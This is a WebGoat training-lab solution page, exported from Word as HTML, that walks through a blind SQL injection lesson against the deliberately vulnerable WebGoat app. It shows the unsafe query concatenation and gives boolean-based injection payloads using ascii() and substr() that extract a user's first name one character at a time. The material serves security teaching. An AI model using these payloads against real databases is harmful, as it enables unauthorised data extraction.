82e32acb77
* Solutions added * Bugfixes * Introduction added (including how to start with webgoat and useful tools) * New lesson: Password strength * New lessons: Multi Level Login * Not yet working new lesson: Session fixation (inital release) git-svn-id: http://webgoat.googlecode.com/svn/trunk@301 4033779f-a91e-0410-96ef-6bf7bf53c507
905 lines
43 KiB
HTML
905 lines
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|
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|
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<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||
style='font-family:"Arial","sans-serif"'>Lesson Plan Title:</span></b><span
|
||
style='font-family:"Arial","sans-serif"'> How to Perform Blind SQL Injection <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
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|
||
style='font-family:"Arial","sans-serif"'>Concept / Topic To Teach: <o:p></o:p></span></b></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>SQL injection
|
||
attacks represent a serious threat to any database-driven site. The methods behind
|
||
an attack are easy to learn and the damage caused can range from considerable
|
||
to complete system compromise. Despite these risks an incredible number of
|
||
systems on the internet are susceptible to this form of attack. <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Not only is
|
||
it a threat easily instigated, it is also a threat that, with a little
|
||
common-sense and forethought, can be almost totally prevented. This lesson will
|
||
show the student several examples of SQL injection.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
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|
||
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|
||
command, scripts, and database queries.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
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|
||
style='font-family:"Arial","sans-serif"'>General Goal(s): <o:p></o:p></span></b></p>
|
||
|
||
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|
||
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|
||
style='mso-spacerun:yes'><EFBFBD> </span>The user could add new records or modify
|
||
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|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||
style='font-family:"Arial","sans-serif"'>From the hints </span></b><b
|
||
style='mso-bidi-font-weight:normal'><span style='font-family:Wingdings;
|
||
mso-ascii-font-family:Arial;mso-hansi-font-family:Arial;mso-bidi-font-family:
|
||
Arial;mso-char-type:symbol;mso-symbol-font-family:Wingdings'><span
|
||
style='mso-char-type:symbol;mso-symbol-font-family:Wingdings'>J</span></span></b><b
|
||
style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></b></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Compound SQL
|
||
statements can be made by joining multiple tests with keywords like AND and OR.
|
||
Create a SQL statement that you can use as a true/false test and then select
|
||
the first character of the target element and do a start narrowing down the
|
||
character using > and <<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The backend
|
||
database is HSQLDB. Keep that in mind if you research SQL functions
|
||
on the Internet since different databases use some different functions and
|
||
syntax.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This is the
|
||
code for the query being built and issued by WebGoat:<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>"SELECT
|
||
* FROM user_data WHERE userid = " + accountNumber<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The
|
||
application is taking your input and inserting it at the end of a pre-formed
|
||
SQL command. You will need to make use of the following SQL functions: <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>SELECT -
|
||
query for your target data and get a string <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>substr(string,
|
||
start, length) - returns a substring of string starting at the start character
|
||
and going for length characters <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>ascii(string)
|
||
will return the ascii value of the first character in string <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>> and <
|
||
- once you have a character's value, compare it to a choosen one<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Example: is
|
||
the first character of the first_name of userid 15613 less than 'M' (ascii 77)?
|
||
<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (ascii(
|
||
substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 );
|
||
<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you get
|
||
back that account number is valid, then yes. If get back that the number
|
||
is invalid then answer is no.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Another
|
||
example: is the second character of the first_name of userid 15613 greater than
|
||
'm' (ascii 109)? <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (ascii(
|
||
substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109
|
||
); <o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you get back
|
||
that account number is valid, then yes. If get back that the number is invalid
|
||
then answer is no.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||
filled="f" stroked="f">
|
||
<v:stroke joinstyle="miter"/>
|
||
<v:formulas>
|
||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||
<v:f eqn="sum @0 1 0"/>
|
||
<v:f eqn="sum 0 0 @1"/>
|
||
<v:f eqn="prod @2 1 2"/>
|
||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||
<v:f eqn="sum @0 0 1"/>
|
||
<v:f eqn="prod @6 1 2"/>
|
||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||
<v:f eqn="sum @8 21600 0"/>
|
||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||
<v:f eqn="sum @10 21600 0"/>
|
||
</v:formulas>
|
||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||
<o:lock v:ext="edit" aspectratio="t"/>
|
||
</v:shapetype><v:shape id="Picture_x0020_1419" o:spid="_x0000_i1030" type="#_x0000_t75"
|
||
style='width:480pt;height:276.75pt;visibility:visible;mso-wrap-style:square'>
|
||
<v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image001.png" o:title=""/>
|
||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||
src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image013.jpg" v:shapes="Picture_x0020_1419"><![endif]></span></p>
|
||
|
||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||
field-end'></span><![endif]--> Lesson 16<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the
|
||
query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613)
|
||
, 1 , 1) ) < 77 ); you will get a "Account number is valid". If the
|
||
character is bigger then the value you get an invalid account error message.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1420"
|
||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||
visibility:visible;mso-wrap-style:square'>
|
||
<v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image003.png" o:title=""/>
|
||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||
src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image014.jpg" v:shapes="Picture_x0020_1420"><![endif]></span></p>
|
||
|
||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||
field-end'></span><![endif]--> Invalid account number<span style='font-family:
|
||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You can
|
||
change the < to = to make sure that you have the correct value.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This results
|
||
in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||
userid=15613) , 1 , 1) ) = 74 );<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1421"
|
||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||
visibility:visible;mso-wrap-style:square'>
|
||
<v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image005.png" o:title=""/>
|
||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||
src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image015.jpg" v:shapes="Picture_x0020_1421"><![endif]></span></p>
|
||
|
||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||
field-end'></span><![endif]--> First character<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>So you know
|
||
that ascii(74) is capital J. Now do the same for the second and all other
|
||
characters.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The query for
|
||
the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||
userid=15613) , 2 , 1) ) = 111 );<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Ascii(111) =
|
||
o, so you have now Jo.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof:
|
||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1422" o:spid="_x0000_i1027"
|
||
type="#_x0000_t75" style='width:480pt;height:276.75pt;visibility:visible;
|
||
mso-wrap-style:square'>
|
||
<v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image007.png" o:title=""/>
|
||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||
src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image016.jpg" v:shapes="Picture_x0020_1422"><![endif]></span><span
|
||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the third
|
||
character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||
userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the
|
||
fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||
userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the fifth
|
||
character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||
userid=15613) , 5 , 1) ) = 112); Ascii(112) = p<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the sixth
|
||
character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||
userid=15613) , 6 , 1) ) = 104); Ascii(104) = h<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>So the name
|
||
that you found is Joesph. Enter this in the text field to complete this lesson.<o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1423"
|
||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||
visibility:visible;mso-wrap-style:square'>
|
||
<v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image009.png" o:title=""/>
|
||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||
src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image017.jpg" v:shapes="Picture_x0020_1423"><![endif]></span></p>
|
||
|
||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||
field-end'></span><![endif]--> Enter the name Joesph<span style='font-family:
|
||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1424"
|
||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||
visibility:visible;mso-wrap-style:square'>
|
||
<v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image011.png" o:title=""/>
|
||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||
src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image018.jpg" v:shapes="Picture_x0020_1424"><![endif]></span></p>
|
||
|
||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||
field-end'></span><![endif]--> Lesson 16 Completed<span style='font-family:
|
||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||
|
||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||
|
||
<p class=MsoNormal><o:p> </o:p></p>
|
||
|
||
</div>
|
||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||
<tr>
|
||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||
Solution by Erwin Geirnaert
|
||
</td>
|
||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||
</tr>
|
||
</table>
|
||
|
||
</body>
|
||
|
||
</html>
|